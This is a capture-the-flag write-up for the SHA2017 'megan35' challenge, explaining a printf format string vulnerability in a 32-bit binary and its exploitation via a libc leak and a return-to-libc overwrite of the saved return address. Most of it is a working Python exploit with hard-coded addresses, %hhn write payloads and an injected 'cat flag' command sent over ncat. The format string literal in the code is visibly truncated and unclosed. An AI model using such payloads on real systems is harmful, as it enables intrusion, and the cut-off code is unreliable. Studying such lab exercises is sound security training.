This is my solution for the challenge megan35 from SHA2017 CTF.

Description of the challenge

We created our own Megan-35 decoding tool, feel free to test it. System is running Ubuntu 16.04, ASLR is disabled.

A service is running on

Files provided (ELF-32 bits):

Protections :

RELRO          Partial RELRO
STACK CANARY   Canary found
NX             NX enabled
PIE            No PIE
RPATH          No RPATH
ASLR           ASLR is disabled

The vulnerability

The program decodes a megan35 string, and print it to stdout. The problem is that the buffer is directly passed to the printf() function which makes the program vulnerable to format string attack.

To build my exploit, I used the script from a github repository to encode strings in megan-35.

I started to get the base address of libc function from the leak of the format string (by using "%s").

With this address and the libc provided, I'm now able to build a return2libc attack and overwrite the saved-eip with the system() address !

And all is done !

My exploit

import base64
import sys
import struct

class Megan35:

    def __init__(self):
        megan35 = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5"
        b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
        self.srch = dict(zip(b, megan35))
        self.revlsrch = dict(zip(megan35, b))

    def encode(self, pt):
        global srch
        b64 = base64.b64encode(pt)
        r = "".join([self.srch[x] for x in b64])
        return r

# Obtained with a bit of bruteforcing :)
SEIP = 0xFFFFdb5c

# Obtained with leak
SYSTEM = 0xf7e53940

payload = struct.pack('<I', SEIP+3)
payload += struct.pack('<I', SEIP+2)
payload += struct.pack('<I', SEIP+1)
payload += struct.pack('<I', SEIP+0)

FMT = "a;cat flag    ;%0{}x%7$hhn%0{}x%8$hhn

payload += Megan35().encode(FMT)

print payload

We get :

$ python2.7 | ncat 3535
  Decrypt your text with the MEGAN-35 encryption.
  sh: 1: }yuqa: not found
  sh: 1: %0220x%7%0238x%8%084x%9%0263x%10: not found